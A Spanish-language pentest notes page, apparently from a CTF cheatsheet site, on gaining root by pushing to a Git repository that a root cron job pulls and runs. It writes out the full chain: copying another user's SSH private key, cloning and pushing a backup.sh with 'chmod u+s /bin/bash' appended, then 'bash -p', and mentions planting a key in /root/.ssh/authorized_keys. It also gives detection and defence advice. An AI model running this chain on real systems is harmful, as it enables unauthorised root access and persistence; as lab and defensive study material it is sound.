the_open_door
café
ESEN
← Volver al índice

RCE via a cron-deployed Git repo

Arsenal completo de comandos en la cheatsheet

Un patrón de despliegue automatizado habitual: una tarea de cron de root clona (o hace pull) de un repositorio Git y a continuación ejecuta un script que vive dentro de él (backup.sh, deploy.sh...). Si conseguimos escribir en ese repositorio, podemos modificar el script; la próxima ejecución del cron lo correrá con privilegios de root.

La pieza que suele faltar es el acceso de escritura al repo. Una vía típica: una clave privada SSH legible del usuario que posee el repositorio (por ejemplo /home/git/.ssh/id_rsa) que nos permite clonar y, sobre todo, hacer push:

cp /home/git/.ssh/id_rsa . ; chmod 600 id_rsa
GIT_SSH_COMMAND="ssh -i id_rsa -p <port>" git clone git@<host>:/git-server
cd git-server
echo 'chmod u+s /bin/bash' >> backup.sh
git commit -am pwned
GIT_SSH_COMMAND="ssh -i id_rsa -p <port>" git push origin master

Tras el push, se espera a que el cron despliegue y ejecute el backup.sh modificado. El payload típico deja una vía a root persistente: poner el bit SUID a bash (abuso de SUID) y luego bash -p, o escribir una clave en /root/.ssh/authorized_keys.

ls -l /bin/bash      # -rwsr-xr-x  ->  ya tiene SUID
bash -p              # euid=0

Cómo detectarlo. Desde el atacante, pspy o la enumeración de cron (/etc/crontab, /etc/cron.*, linpeas) revelan el clone/pull periódico; un repositorio Git escribible o una clave SSH expuesta cierran la cadena. Desde el defensor, la firma es un cron de root ejecutando git pull/git clone seguido de un script del repo que lanza sh/bash o hace chmod +s (auditd/Sysmon for Linux sobre execve con ppid de cron/git), y en el servidor Git un push a la rama desplegada desde una IP o clave inusuales. Un commit no firmado que modifica el script de despliegue justo antes de la ejecución del cron es el indicio.

Matiz. Depende de que el cron ejecute el contenido del repo sin validar (sin firma de commits, sin revisión) y de tener escritura efectiva (clave, permisos del repo, o un hook). Si el pipeline verifica firmas o corre con menor privilegio, el vector se cae.

Defensa. Firmar y verificar los commits que se despliegan, no ejecutar contenido de un repo escribible por terceros como root, y proteger las claves privadas con permisos 600 y dueño exclusivo. Relacionado con el RCE por hooks de Git y la tarea cron con script escribible.

Herramientaspspy

Máquinas donde se aplica

  • HunitProving Grounds Practice